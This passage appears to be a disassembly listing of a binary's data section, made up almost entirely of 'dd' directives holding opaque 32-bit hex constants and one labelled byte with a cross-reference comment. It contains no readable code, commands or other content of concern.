0E85FA3EEh, 0DBDB4A7Fh, 0FC7F2182h, 0DC6A5Ch, 0CC493E19h dd 0B764E5D2h, 0BD27139Eh, 1D3B25FFh, 44C07AC2h, 5E8222C5h dd 9B148D9h, 0B4D32981h, 501753E9h, 0A00EDB22h, 0B24BD4D5h dd 0B29B904h, 13A063E7h, 9F023F2Bh, 659D23ECh, 880D0225h dd 21A965A2h, 5E43EA09h, 7902F458h, 2F0CB8BBh, 0E5734164h dd 0DA4B9868h, 0C017C885h, 0DD39B753h, 0BC097498h, 0D1D98A80h dd 0BD0B588Eh, 0F69D23F2h, 4600DE01h, 0D3F0A2D4h, 4EF553CBh dd 2F6C8A5Fh, 0F6C77696h, 0E521F900h, 98A5031h, 0D80D4585h dd 0E09A59BDh, 8204B85Dh, 74C78FC3h, 1D46D69Ah, 38B96900h dd 8CCE9B28h, 107EA604h, 0F6EAE1FFh, 4680B0D2h, 0BBEA0177h dd 5C55A432h, 14202B60h, 4219BD1h, 1FB65F77h, 0A1CEE861h dd 0E39D0456h, 0A2BE53BBh, 92608FCCh, 0C077DBBAh, 0F18D0928h dd 0FC418210h, 0BFB71102h, 0F3EA283Ah, 9A3061D2h, 0F2E2D1h dd 56FDEABFh, 0A836A5ECh, 1B69EB12h, 0FFB1C80h, 5F7C8689h dd 27DC3F96h, 0EEC6391Bh, 12F367B0h, 0CB527523h, 56DF8297h dd 404FD460h, 0BC3BA195h, 6DFECF00h, 0B116C14Ah, 40BA3266h dd 6FD45B96h, 90737A40h dd 0C0876284h, 0DE745FD9h, 311FB542h, 0DAE41762h, 93DF49B8h dd 0FF64258Ch, 9D7F88h, 7F7D67E9h, 2657CDD6h, 95005178h dd 9E64818h, 0D260BCA3h, 259CF38Eh, 0FE61C190h, 23EDFDD6h dd 0D965D5C2h, 8CCB00B9h, 96C9D9ADh, 70903F07h, 0C682A02Fh dd 58DB576Ah, 0FD3E0173h, 4658729Ah, 0A7BFFC1Fh, 29B00713h dd 66C1A0A2h, 3A07B3BFh, 16317D5Dh, 0EF49E952h, 9677B83Fh dd 1030C685h, 3D8CFABBh, 9B5A36ACh, 188B8B16h, 0ACA1E9h dd 8310D1F7h, 917B3C28h, 0CD4E8B07h, 731E1FBFh, 9A4EA9A7h dd 69E4803Bh, 1393F72Eh, 197B388h, 0A318DF5Ah, 86A2752h dd 130C5D9Dh, 60B6A35Fh, 3D67CB32h, 1C726E9h, 0B405F6AFh dd 83480B5Ah, 0BD4938F0h, 0A997A4F8h, 4134CF50h, 3A961EA1h dd 0DEEF3D12h, 70C28779h, 0AD47D4D0h, 272CB872h, 406295BDh dd 8061615Eh, 743A65D7h, 0A0FDB639h, 24296467h, 44C0BB6h dd 0C089D860h, 0D919D2Ah, 9FFA8B88h, 1491A635h, 0E8F98384h dd 0BD987352h, 303B3441h, 0EACC21Bh, 0AAF61100h, 1B28B887h dd 0C0100098h, 250CB52Ch, 340BA1E4h, 0C15FF88Bh, 80315184h dd 5B27183Dh, 5B907146h, 6846A79Fh, 6EE2F600h, 7FBF0156h dd 5F7DB883h, 0FF468781h, 0FDEBFDF5h, 69D12990h, 3EDDB100h dd 12DE8E25h, 0FB620439h, 0C0712B7Dh, 8116D273h, 0DDCBC702h dd 745F5B83h, 0B7FD4B29h, 192882B9h, 6F7C502Bh, 4EC986Fh dd 8B601324h, 0C31430C6h, 0D9096AF0h, 37618988h, 9F1711D5h dd 0F3B9B205h, 11E95E91h, 0B593110h, 0D0B4411Fh, 0F2E1D380h dd 42EE53Ch, 9FCFE33Bh, 95A78161h, 0F1B80412h, 0CEF59BB5h dd 565A3A9Eh, 852B51EEh, 29B58929h, 3B25F0BDh, 1F03D5Fh dd 0B70F6BF4h, 0E53B2FDAh, 83A3BEA4h, 56BF20F7h, 214EDC4Eh dd 0CA193F09h, 5CADC2B3h, 10E371B9h, 43119D29h, 27D0CD09h dd 0F7B8843Dh, 133A7109h, 2FDBF00Fh, 0D79AF6F3h, 1DCF954h dd 0C564032Bh, 0DA14408Ah, 55E9BA5Eh, 5CE14AC7h, 82E539Eh dd 0A22C2E58h, 58001111h, 7FE36B50h, 9400E03Ch, 954653Dh dd 122BFF11h, 0F35F02EBh, 6BAF4ACFh, 0C07E005Ch, 1DCD14CAh dd 29BE09B8h, 0BC7973B3h, 0E1B7A7h, 4E2E8EB5h, 8D0128BAh dd 5723BB50h, 0B8353197h, 0EDB80729h, 8D37DE14h, 6CB6D2E7h dd 29BC7FF0h, 12ED9510h, 2AE98D4Bh, 5BAC62E9h, 0F64BD1Dh dd 0EEF723C1h, 116A5643h, 0EAD2D463h, 0A13C1EC9h, 0C54C5C80h dd 8745EE2h, 52CBD604h, 17E8E1ECh, 829BDBD6h, 74A2C24Dh dd 95C26E2Fh, 0D0731285h, 5BF85684h, 8C59D3BCh, 0A11D64BCh dd 215270B4h, 1B60C7F0h, 27810F51h, 86865A82h, 614B7311h dd 2C0FD1CCh, 639EFEBFh, 9AB8273Dh, 1006D7Fh, 621E559Dh dd 526D4BAh, 6ECBE2C0h, 59A80B19h, 9865828h, 0CF55B886h dd 0BA804F11h, 0CE62566h, 47E96028h, 0E745DD00h, 0BE58FA36h dd 804C0F49h, 4A62EE21h, 0BE613DA9h, 88C3E870h, 717A8B9Fh dd 7396002Bh, 0BE57558Ch, 0CF79CE1Dh, 46DC49A6h, 37B61715h dd 0B860ABCCh, 2A513489h, 0EA7F800Fh, 7E9F7E29h, 0AF336EABh dd 23C6888h, 0C4800985h, 49464F8Eh, 0BB2F9101h, 3C2C1963h dd 0B7C257Bh, 52ED3402h, 111D3CE0h, 8075562Bh, 0E3CE124Ah dd 0F52925B0h, 2FD9F311h, 0E15C9828h, 9AB01267h, 7222D1C9h dd 0E6E1D9Dh, 0E4BB8650h, 82BEE2F0h, 57F04DEh, 82CDC5F9h dd 88C0D968h, 0D7C52809h, 0B3F135B5h, 23206B2Eh, 0E9BB001Dh dd 0F7F61485h, 381EEB13h, 25DB8DB0h, 7BED9C30h, 0E601664h dd 0F54FC07Dh, 0D5A0A28Ah, 8F164953h, 7130B18Ch, 6AC1Ah dd 833F7FDCh, 6269B089h, 13018B1Eh, 5F66FAC4h, 0DBD78EBCh dd 2063804Ch, 9F6ED3Bh, 0BA1F745Eh, 6246B079h, 0D4B79533h dd 22BDEA0Eh, 0D882D4E6h, 11B40E3h, 69D251F8h, 6A5BB2E7h dd 0EFC601CAh, 0BF666CECh, 2C891CD0h, 0BF593D9Dh, 0FAC7495Eh dd 18DA957Bh, 0F0386Ch, 8F93E49h, 5007CB80h, 0A9BD8909h dd 7CE85D10h, 2FE3FFF2h, 8CAC26B9h, 40AC5697h, 2A7D8589h dd 48A6F49Dh, 7C9DD6F8h, 5ECE82CBh, 9FFE4C9Ch, 7912D509h dd 3D42ADCAh, 87794DC0h, 89544F08h, 15467604h, 3A80651Ah dd 0ABDF9405h, 26786EA2h, 47217B3h, 0BC725CBBh, 0BD6E5BB8h dd 620DBD04h, 95C2C147h, 258578CDh, 50AD4190h, 249D23D4h dd 4F3415F5h, 0BD030678h, 3912ED5Fh, 0FD5FB0E3h, 0EB740118h dd 0D19DE545h, 2BEC530h, 53CD9A26h, 0A05E2061h, 0EA31626Dh dd 0AD221A69h, 75D1FF25h, 688004B5h, 3B60D229h, 90AC782Dh dd 1E0920A2h, 0FA5FFAF7h, 0CA614B2Eh, 5BBA2592h, 2E33D979h dd 0D5738201h, 2568026Ah, 0DF6586D2h, 0EA509027h, 40767E70h dd 0CD07A97h, 91A97604h, 0B4AF310Fh, 3B3048E6h, 0F0898475h dd 89A09F70h, 5F616056h, 0B79010C9h, 0B8CC87FDh, 783C1037h dd 932C5CACh, 1F90349Fh, 31B58904h, 11535619h, 0C0239BFEh dd 0BD33015h, 81844B03h, 207925h, 970E23E9h, 0D520BA96h dd 860F2FB3h, 0AE602124h, 824E71B2h, 6461619Ch, 0CDADA569h dd 601864BDh, 4E8CB14h, 8B901F1Eh, 818A85D8h, 401AD8Bh dd 6F938DB9h, 0C5AA098Ch, 9CA57AB0h, 920DF64Ch, 0AA09A7EDh dd 0AAC1522Eh, 36C19ADBh, 3DFF6A1Ah, 123EB8DBh, 0E2BB20E3h dd 81833C84h, 0BF554417h, 96FC2857h, 0DA683AD0h, 65120A5Ch dd 0E8A9BD1Bh, 7FF202A2h, 0B9FF475h, 15C4E05Eh, 5FD0B049h dd 90970DF0h, 5EE4FEDAh, 34E9C871h, 4D45C300h, 0A0D01E93h dd 542600B0h, 87672370h, 5F4BF9EFh, 54E8D6D2h, 49C74179h dd 0BE182F1Fh, 4B04DF10h, 30B5C9A2h, 45B0FF11h, 1DAB0F97h dd 0F94937A4h, 0BF20003Ch, 1EE68748h, 0D7450D02h, 4049183Ch dd 812C1194h, 0C7472F5Fh, 14BC19BDh, 0C1852429h, 0D1C3A54Bh dd 70BE1F1h, 2040D166h, 810121C9h, 0DA6A26E7h, 0CC2BE969h dd 0E6279CDh, 0D8998533h, 0B10297F0h, 5B578A0Fh, 0B72F8092h dd 945B8DF5h, 0E277CE00h, 79CACFE8h, 2EB20D03h, 3B40AC0Ah dd 0C94517ECh, 11CC482Eh, 899ACB1h, 0B33EE901h, 4AA13217h dd 0F326AFB3h, 0DC614B18h, 98823BCh, 0C7456FBDh, 141BA5EAh dd 991981FEh, 4795452Fh, 80FAC070h, 0B097F4EBh, 5A2722AEh dd 0E26EEA17h, 56095E13h, 0BE18454Ah, 0DEB6C12Ch, 0E052A646h dd 7B809809h, 181459AFh, 0B966C7C1h, 0EFF31908h, 1209F7D0h dd 0FEF5D102h, 892E6C89h, 57E4FF1Bh, 0D2E075B6h, 0C2A1A595h dd 2D287549h, 6EBE4FACh, 0F6570006h, 64C426A0h, 9B7516B4h dd 7489AF45h, 4C060C91h, 296D1061h, 5FD1044Ah, 9197BC0Ch dd 0F0B6BCF2h, 0CD953F09h, 0A0B4CE4Bh, 0E4692195h, 5E5727F5h dd 64014C37h, 0E1F487F6h, 1A3D8141h, 30FB8B01h, 56716050h dd 95706697h, 0AC026737h, 2C14E8E9h, 0E500D7D6h, 19B88E57h dd 5671DBh, 82984D08h, 0CB6229D8h, 7894EE5Ch, 545C3F04h dd 38B1505Fh, 2F22D1D6h, 48855837h, 9ECC0F46h, 0F7FB1E0Ch dd 0C87DC456h, 0D2F6BDE4h, 4FA8F2B9h, 298D0913h, 20CACFE5h dd 0D1122646h, 0BBF06507h, 4D423CAEh, 92975D5Fh, 409ECDADh dd 0A8AA4129h, 0CDA16F02h, 66AD80E8h, 525C07D0h, 0B7AC3727h dd 456F3079h, 64021871h, 0A35E1FB8h, 40CA5CEBh, 2C08FF38h dd 0E20D3D01h, 0BC2AA296h, 2426283Ah, 5DF52989h, 1201B634h dd 74163995h, 0C0B2BFEDh, 0FF06CC4Bh, 8452E125h, 0B4BC5F34h dd 4103A0A1h, 2C8520h dd 4B21B531h, 8588B323h, 4A0803A2h, 0F2F59249h, 85588899h dd 0A0058501h, 20B56001h, 0EC80CBAAh, 0D6614CE8h, 679C541Dh dd 0F3041044h, 3A5FCCA4h, 9B5B69BCh, 8CEA926Fh, 0B2D73DB0h dd 97F97788h, 0B3376E89h, 0A6B17084h, 984E3FBh, 7915299Dh dd 1DDF9A92h, 12DC2A56h, 0B7B537F6h, 6C6A5FBDh, 0F96E9909h dd 569FAC7Ah, 5A00DE53h, 5090C503h, 587BB52h, 0F6D23C9h dd 5A1CE831h, 807103BFh, 644EFDF3h, 0B9143BA1h, 685DFDC1h dd 0A75EB1CBh, 0F75835A5h, 0C0FDA209h, 0AD625B58h, 23F65B5h dd 109415D2h, 0F44C664Ch, 55140292h, 2329AB0Fh, 2FD88161h dd 28C43229h, 0EBBB45E9h, 2FBAD4A9h, 9D890F30h, 25CB9641h dd 0BB04F766h, 2B2EA1BFh, 68D9D3B8h, 0D3302ED9h, 1D9DB1BFh dd 16092114h, 89954FDDh, 0B79AFBB2h, 38022ACBh, 162A23E9h dd 0BBB777A5h, 70C63289h, 805750D3h, 5B3304A5h, 0AAFCB750h dd 4ABD024h, 122C65D6h, 19AC2BBDh, 798D028Ch, 699FE2CCh dd 57529A74h, 0DB09992Dh, 1F1C4348h, 9CA82AC6h, 8E403FBCh dd 38E47611h, 9080AD38h, 5684B1BEh, 6A0098A5h, 8F88AF31h dd 0E55B5F50h, 884E0D72h, 0F2001512h, 0FC57B3C8h, 43AF5D2h dd 89DCD85Fh, 0B8AAA958h, 12AB0242h, 0BE148DA4h, 8049AC5Ch dd 1AD1A148h, 0E6F000EFh, 6A7D421h, 0F9FC5AD5h, 9D238412h dd 0AF4584FFh, 1B23586Bh, 8DBBDB16h, 558041E9h, 80466822h dd 0BE6050DEh, 8E4E0F21h, 0B6926107h, 0FB33E050h, 7C6400CCh dd 0C7BE2E7Eh, 2688E0Fh, 0F62BE425h, 79202728h, 0A3614B1Bh dd 0BD318112h, 392E1899h, 3D536B3Dh, 32EFAFA0h, 601333E9h dd 1E1044DEh, 61D9E661h, 80C82C56h, 799B899Ch, 5B622552h dd 1A5CFEC7h, 0D5998531h, 0E6F1B341h, 1670DD5Ch, 504F9505h dd 0A5E07340h, 0B55705A2h, 81B031C5h, 4F118D74h, 4DF12C4h dd 0C0829BBFh, 0BEFDC2F6h, 5C110014h, 0ADC781C6h, 2E4B4A8Bh dd 6BA11E8Ah, 0A639Eh, 8FC55391h, 4BE006C8h, 4C0CCDFEh dd 34006ED2h, 9976BCF4h, 0F6F68EBh, 2E8C36E1h, 42BB7042h dd 46D6E65Ch, 940E001Dh, 60C7E3B3h, 0FA7F2E6h, 3153BF3Dh dd 0EA734F49h, 26181859h, 4B762E09h, 3097EEDh, 5F70F2BFh dd 9F75ACB4h, 0B1844E0Ah, 0CBBF1900h, 0B5966875h, 68015737h dd 0F1BD0395h, 447DE925h, 0FD290DADh, 83FC6AA2h, 6AFBB592h dd 8A00777Ah, 2820BA96h, 0A40F5253h, 42BBADCDh, 5D500398h dd 28250238h, 8D090785h, 0D3723815h, 0AEEA504Eh, 0DA8AA10Bh dd 914457h, 0FAD22B88h, 67FB1CBCh, 82312F3Bh, 2C75A799h dd 4B49F018h, 0FCE5325Bh, 162E055Eh, 68DD03DCh, 18ED9D01h dd 2050DB12h, 4A00E76Fh, 5CCD6D93h, 0BC5C68A2h, 6ADC1828h dd 9763D508h, 0F7CD229Ah, 0A9E7FEE0h, 2C3A2790h, 294490DFh dd 1351258Dh, 6D6B1AD1h, 0DC63404Eh, 0DB0465AAh, 25D19D33h dd 0B096F7EFh, 0A08AFCEFh, 9A8F8183h, 0CAEF976Ch, 0A8323B60h dd 0FB860087h, 62790B91h, 0DB17B70Fh, 24CC3FB3h, 0ED8D2789h dd 57504E80h, 0A009BF60h, 0E35A5C2h, 13F53226h, 82599B3Bh dd 0D012FE3Ah, 21214163h, 2EAEE937h, 19239B6Bh, 9B1FD00h dd 0BE5CE074h, 0BE0A0EFEh, 0A9FFCF80h, 0D5903BD9h, 791E3125h dd 61356BFAh, 0F8F9CE80h, 109E35h, 810B8096h, 86C684D7h dd 6CCA574Bh, 0E4974A22h, 5DFC97EFh, 365EE8E0h, 7D90093h dd 2BADB633h, 0B50A5441h, 0BE631EA4h, 0DED5A6h, 49A9DE07h dd 60021E75h, 27BB4B02h, 0AB50459Dh, 0D87053BFh, 604B3D71h dd 0F6814ECCh, 85F41614h, 0C4CE2A03h, 1ABC7895h, 618589C2h dd 94959A58h, 9F7C70FCh, 0E0441C6Fh, 4AD9E3BBh, 0B6FAF1C4h dd 0EEE9F0BAh, 0F61927BDh, 0E41BF70h, 0D831D2DBh, 9DC67058h dd 0FDCA15Ch, 0B86A19F9h, 99F2E7E0h, 9E974EDFh, 706E9316h dd 0A1267694h, 0D5080ED6h, 0B4E9091Ch, 11B11078h, 3FCECC83h dd 710DE018h, 0F64A0250h, 0FE8AC18Bh, 3D49D05Ch, 0D46A0062h dd 0C0FD84D6h, 4D6D1309h, 2D6E5E2Bh, 92339F7Fh, 0BEE47017h dd 3ED6E9E7h, 0E7033F6Fh, 5BD2394h, 19C5B4F4h, 9BBC45Ah dd 0E78D82Dh, 30476195h, 75BD0B00h, 5000E6B4h, 3EAA4BBh dd 5CFD23Fh, 272FFD91h, 0AF9DB498h, 3725ED5Eh, 0D83480D6h dd 2B7F681Bh, 66FC6B12h, 9AD3CABDh, 4A9F8408h, 0A9C374AFh dd 120A898h, 53C2F1CDh, 526D9D2Bh, 0C2595B92h, 5626B00h dd 2587E1EEh, 79CDD1FFh, 1747AEC0h, 2E0FAD8h, 22E8BF2Ch dd 17C06B58h, 99256CB9h, 1A45E52Ah, 0C17345C3h, 4D6A6170h dd 58BC1D02h, 0BBD29209h, 0E50902E4h, 0B3900329h, 907750D2h dd 1DFCDAh, 0DF284C51h, 7AAC6E74h, 67E5E712h, 0FD0068B2h dd 3A03C121h, 6104685Dh, 0BE9BF8AFh, 5BCE22FCh, 0D2ED9029h dd 0AEC827C1h, 72BD11D4h, 0B35252Bh, 0DBA554E5h, 0F0FC50A8h dd 2AF0AD4Eh, 2E912DFh, 0C94EF20Ch, 0BFBA1023h, 317C0E0Ch dd 0F772199Dh, 3AA64141h, 2024B152h, 0AD9020B9h, 0A94B7C0h dd 1700184Ah, 497BC23h, 4BB18B32h, 1A15D95Fh, 1432C16Eh dd 352F64B5h, 0DCC8B113h, 0F4F96A5Bh, 0A89C39B5h, 6790D525h dd 0C709F381h, 736931EDh, 400711B3h, 0B05BDE98h, 0C4D85500h dd 8170E6h, 0B3999BD3h, 8971E44Bh, 177D9512h, 0E6C97DBCh dd 702597E4h, 60A6C2C0h, 9D152101h, 74690BD4h, 8AD68FEh dd 5A3B0E75h, 0EC00FCE3h, 445B9DD7h, 0F7021A49h, 3CF1BF5Fh dd 32C25C12h db 0F2h, 0F8h, 7Dh byte_544547 db 59h ; DATA XREF: ___:off_445258o dd 0FB033E13h, 0DA8AC82Bh, 0FFF1D1F2h, 0E3629101h, 0B5EBCD24h dd 0AC095516h, 6471DE03h, 82E6E585h, 68B25050h, 24A35C16h dd 6CB111A9h, 4541BD12h, 128DD815h, 0E4921B97h, 736C0056h dd 0E95F3D01h, 9817516Eh, 810DD934h, 0FF8DDC5Bh, 25C403D0h dd 4B91C4F9h, 0EB60AE37h, 1369B3h, 58361564h, 750DCE4Ah dd 0DCE5FA02h, 82A58304h, 88F8FE26h, 902F6DD9h, 93041Ah dd 41A2F767h, 559E36Dh, 0A598D34Bh, 4E404279h, 581F446Ah dd 0FC4DC563h, 168AC160h, 0DD4F65EDh, 6B7E6535h, 67A96EF9h dd 893E06BFh, 794521B5h, 5693A8B9h, 8BD72580h, 1BF92279h dd 5C009018h, 5370A497h, 368BFBBAh, 0D86D3D9Dh, 246DDC81h dd 0D1028121h, 2F08D036h, 44A65461h, 5C20AA51h, 4CECED29h dd 0D405296Ah, 7917793h, 0E14055F8h, 20821B3Ah, 140B536h dd 2B5F165Bh, 82A9ADD2h, 5C1D319Dh, 0AC6DFA5Dh, 0AFC06D67h dd 12B7BF18h, 0E236FB2Dh, 0E6BB0231h, 797DB4CAh, 9D238E0Fh dd 293E88D5h, 4A12BF4Eh, 1DB2D5A6h, 1DE7CF30h, 82C1E1A0h dd 0EF91D740h, 0B35EC756h, 0EBFF58CAh, 9BD8913h, 61E68B53h dd 273911E0h, 684CD0F9h, 1617B648h, 59E80589h, 0FE1862E2h dd 4B1244E8h, 61030279h, 0A0F77568h, 760EB8D1h, 56993C6Bh dd 13F9C638h, 0ADB85FDFh, 98B7F882h, 0CA0D4A0Eh, 9D3317F4h dd 0FAA50112h, 7BD2B93Ah, 0B789D001h, 2997871Fh, 2C2EF5C9h dd 668AD305h, 660B008Eh, 6C3CAB94h, 0A3047859h, 20908F9Dh dd 5C5B79D2h, 14CB510Fh, 0E3B88EBDh, 0AB9F5409h, 67297199h dd 0B3F64967h, 3B1E00F4h, 5BF4D1F3h, 330960DDh, 5C3489BDh dd 25FF489Ch, 0E56BFEAh, 2525DD28h, 20EA660Dh, 0B7010109h dd 0DB79BB45h, 0DC6A3739h, 6025D7CAh, 0BEBA6688h, 46FADC1Eh dd 1493A300h, 0CBBB9E54h, 1CA10917h, 67F76650h, 0E18E788h dd 1F18610h, 47FE5CBCh, 802446Bh, 0C254737Dh, 450DE70h dd 4109C3BFh, 6037AE76h, 7482D0B4h, 13DB4432h, 0C8515250h dd 2E1C097Dh, 57415FD7h, 0B5C27EC8h, 95D7AC8h, 5B400628h dd 0D6B8755Ch, 6B55F0F0h, 351C00F6h, 6660C4AAh, 841276BAh dd 795B50Bh, 0B39293FDh, 49A04E00h, 1B98835h, 0CF100B89h dd 0BE0FC6C8h, 82408E2Fh, 42CB113Dh, 84507519h, 148D5B4Bh dd 362BCE65h, 61256211h, 0A5E55B0Bh, 0D900F637h, 366322CEh dd 0B892074Eh, 3F8D090Dh, 0D845BD56h, 0D90C69A4h, 26D810F3h dd 0F7854A57h, 3E6EABh, 0A4B75839h, 50402F90h, 9F60FB96h dd 10BD26C6h, 0C8414Ch, 0AB815138h, 45839B0Bh, 61FA0D18h dd 0C44AB72Ch, 0B6965030h, 5E8DE1FEh, 2571BAF4h, 8DD8A2E7h dd 0C272F625h, 0F8BD774Fh, 687780BEh, 158D893Bh, 1EC08314h dd 0DE6379DCh, 4BDA8BEEh, 6920F3C6h, 96F70CEh, 21A527E1h dd 96707EF3h, 44569A45h, 0FB25BF16h, 6408CDEFh, 0FEBB601Ch dd 0FACE00A1h, 6B5D8F80h, 3D05E7BFh, 820F4277h, 0AB1228AAh dd 0B57212FAh, 904EDE1Ah, 62FB5DF0h, 3246D580h, 78D48C5h dd 0D0720270h, 0DCA270F4h, 902550FBh, 22FF6EF5h, 0A0BC1071h dd 0DC9612DCh, 0D31CE2AFh, 0E300D2A2h, 68D3FF49h, 338C687h dd 0F2178011h, 0B58C5342h, 0CA404A6Ch, 412C3869h, 4005BD30h dd 3C4FE932h, 0EECF68DEh, 0C2DF8001h, 383A2EF5h, 0AB2385E4h dd 6E7E51A1h, 82A900D0h, 0E55012FFh, 0D1C712BFh, 0CC58E20Eh dd 528B59B8h, 0A9CFC7F8h, 58DBABF3h, 1D2B0C0h, 0E301EC94h dd 894CC4CEh, 0F16565B5h, 1CAC636Dh, 7166008Ch, 0F5D3BAFBh dd 0C44A31B1h, 17B237E6h, 2518C230h, 90FFFE1Fh, 0F2DF813Bh dd 7F0C2576h, 80125666h, 19E3AAF3h, 0D93E0B4Ch, 0CF874CDCh dd 8C96E473h, 8A00468Bh, 0DE59EA83h, 93154Bh, 0D982CBA6h dd 0AB90A0F0h, 1150482Dh, 40EA7F34h, 26B7513h, 11FE1D6h dd 0FE6A595Fh, 8842E74Ah, 965B8040h, 0FF05BFF0h, 1FD1BD89h dd 0FC3EB429h, 97F89279h, 0ACE1B7C4h, 0E0BFC0F3h, 95341410h dd 0C854CEB2h, 9502584Bh, 0F8FAC51Bh, 0BF817E59h, 64F93870h dd 0DE91152Bh, 4D0BB0BCh, 2C6D9D03h, 95DBE0B6h, 0AEFC9485h dd 3DA85D64h, 1E8E0F82h, 458BBA5Fh, 9509C149h, 12CC78F5h dd 809B6A5Bh, 248DBFD6h, 1881EC6Ch, 30820138h, 9912C6FDh dd 856EF1DBh, 4C071B23h, 0B2D06EBCh, 0B60A14F9h, 46FBEB13h dd 1320D50h, 5D52821Ah, 574D8501h, 3489E2FCh, 0E7DE00FEh dd 0BDCBE8C3h, 2543359Fh, 0F27EBFFAh, 0B294BF00h, 7967B5A9h dd 35A3BB04h, 49AC7C57h, 943B17D2h, 0A725A8B6h, 0C7BB80B8h dd 967B37EDh, 8FB06F92h, 8508459Eh, 595F1517h, 198C14A8h dd 59D9B302h, 51A3ADF5h, 745B49BFh, 4A415650h, 1CB2D9h dd 0FDF5A719h, 2D628587h, 9BFF964Fh, 98F9BAE8h, 3BD78168h dd 48A52EF2h, 0F94A0F66h, 58250ACAh, 2723DFFh, 0FCE0235Bh dd 91AAB5D5h, 0AF0B8019h, 5A84BCC2h, 5380473h, 61F5022Ah dd 0A016D6C6h, 0FCBDBF0Bh, 0C5801D91h, 932F3949h, 0D585E005h dd 0A101B027h, 13F44D92h, 0C500FA23h, 385D4AF1h, 0F64C688Ch dd 0B51C7F59h, 376DFFF4h, 8B3005ECh, 0B824BDC1h, 662B284Ch dd 0BCB0997h, 0EAFE819Dh, 0F71EA962h, 0AE04A3BDh, 0A0932EF5h dd 1ABFA090h, 7BDAFB9Ah, 0F8B70C2h, 760C39FBh, 5BF3885Eh dd 390A5809h, 0F446D3AAh, 0F8FAD60Bh, 1CDD0589h, 2D1E6FF4h dd 2CD17D2h, 0E44EE9EFh, 5CECEDh, 0F3695375h, 0E784709Fh dd 0CAF71F18h, 81295576h, 6C022B5Bh, 0C650BFB7h, 443D005Bh dd 8C4AE6BBh, 7D009062h, 98063022h, 2A650215h, 97B8D1E3h dd 275E5DE2h, 896A10DEh, 0FFB54FA9h, 0DE62F6E6h, 8FE2DC00h dd 6C3446AFh, 8A46CBB1h, 0A9238C5Ch, 0BF430C78h, 8350728Bh dd 6DB63A95h, 5CEE601Dh, 0EB150F95h, 4AA161D6h, 9852BE8Ch dd 89D1508Fh, 3EC7B521h, 0C15A6191h, 5A026A72h, 7826C047h dd 31C2CB66h, 0BDEAEEC0h, 74900205h, 3BF32C72h, 6ED98A16h dd 3743EFh, 57FEF9ECh, 0C7457C61h, 94E9DEFCh, 0B105AC0Dh dd 0FF04D228h, 2FD3BD20h, 0D6CC390Dh, 0A553F109h, 0DCD55Ch dd 1B8BEC9Ch, 0BD2B57DDh, 7A0FD14Bh, 219D625Fh, 59375616h dd 902BEE61h, 0DEC394h, 15B0850Dh, 0D6A5CC6Ah, 60396B13h dd 498AC8h, 2DFE8FCBh, 0D09C22F1h, 61A7E00h, 17BBBA66h dd 27A19161h, 8D025D37h, 61FB3433h, 0C1CBFAADh, 66101E0Dh dd 0BF4A91BBh, 0E83F8DD9h, 0DFB7C4B7h, 849D83ADh, 0EF0E35BDh dd 0A9972BF2h, 0C9A832h, 0B2D69A19h, 0AA9DF4E3h, 0C852B3A2h dd 2745EB98h, 91BC883Eh, 0FBE9F900h, 0BA3BEF2h, 0CAC80FB3h dd 283FEF6Ch, 0D670113h, 2B9E3E14h, 0E765EC18h, 620F1601h dd 0FF6A5FC1h, 92B87969h, 0E10199FEh, 89EDF2B8h, 0AD6BC185h dd 8DD52A50h, 24699380h, 64DE548Ah, 64604B36h, 5C1008Eh dd 658328Bh, 7F0A37F0h, 91800720h, 15784B0Ah, 289700B8h dd 3453160h, 0F56009Eh, 193EE9A2h, 613876F1h, 0E6FC0DB0h dd 456F8470h, 0FC71E40Ch, 0C60825A0h, 1EF4404h, 62B58D4Ah dd 0EC06172Bh, 0D7BFC0C7h, 5F1EFBF7h, 21F4CCBAh, 892A0F41h dd 591696B5h, 407A89BAh, 2B36EC33h, 8C00C85Eh, 0D18B1C3Eh dd 0F6E0E360h, 0FFCA0EADh, 0E9246124h, 0C07CADA6h, 85F28067h dd 66AF242Fh, 7230BD3h, 0A8A5D488h, 0B5C2A08Ch, 0B75BB105h dd 2EB1A222h, 7E49015Ch, 0FB526968h, 0CA4C1C45h, 86EC0089h dd 10B81F42h, 0C105F0A0h dd 58E9257Ch, 558BF5ECh, 66256754h, 27297604h, 0D8FA2FC5h dd 6C12B14Fh, 9C980DB2h, 0E183320Dh, 1989028Dh, 773DAB3h dd 2BD12A31h, 1958900h, 440058ACh, 8BAD1615h, 95E811Ah dd 261D9BEDh, 3C080D73h, 18467C50h, 0DC483E00h, 0C7816199h dd 0B1AE880Ah, 3193BB03h, 0C2F29EFBh, 40E185A4h, 976D0B14h dd 8CC8301Bh, 0A024222h, 70B910B7h, 29C5D20Fh, 17AE1ECDh dd 0A6FFCh, 6C4B8B3h, 4131A4h, 0FC233362h, 9295F381h, 2B14B20Bh dd 0C0354DC0h, 4A37556Ch, 85812305h, 16FC91BCh, 2459C2D8h dd 0D860E7C0h, 4E2B12F0h, 5CB2D2h, 0FD8AC03Eh, 3487B6h dd 6CA03CBFh, 0B226667Dh, 0E2471309h, 0E0287158h, 280AE781h dd 4DBF0572h, 0C687CFF9h, 0C9866032h, 7698B535h, 732C512Dh dd 788F231Ah, 0CF077F2Ch, 0E65F68FBh, 810FC41Eh, 8B7F3322h dd 57445605h, 4184EF16h, 13D971ACh, 5B617053h, 81531597h dd 521DFBFh, 0AD202B79h, 2B7F927h, 0EEA9FD0Fh, 0EC7CE07Dh dd 0B25A1410h, 3864CD0Eh, 0B8D5E96Fh, 3AE70779h, 9B55BC29h dd 0DF0259F8h, 0F5B50158h, 0E38D718h, 1A97FB8Bh, 26B28012h dd 97E1FF28h, 1601BB37h, 0D59D2335h, 0CA4AC828h, 4607E23h dd 19E3817Fh, 12149761h, 0C325A668h, 0F4B2F812h, 2A21608Dh dd 3D387B87h, 1F446E5Ah, 5E014AAEh, 0B42AEA3Ah, 611D141h dd 4A76F62Ah, 3AA206F6h, 20B1B0C0h, 5E171297h, 1600DC59h dd 9D75EE11h, 8170E121h, 0B6D86A85h, 0DE014F88h, 6029651h dd 5520A18Dh, 0B5951216h, 6E77004Ah, 16F6950Dh, 7284084Bh dd 0A083E7EBh, 2A4C69Eh, 0BB3BFF1h, 0F2774EFCh, 0C9D4006Ch dd 0FE0D81DBh, 0E69F0903h, 5B572D8Dh, 0B7971164h, 883D005Bh dd 0C9267F0Dh, 35F91509h, 793F6A65h, 80430093h, 2C0EA1BEh dd 51C0CB00h, 9DB129F9h, 6D6902C5h, 6A46807Bh, 0DE7C5Eh dd 70894317h, 6358684Eh, 60540D12h, 0F8657A88h, 0EB7919h dd 915C0A3Eh, 0A9D80266h, 905BB325h, 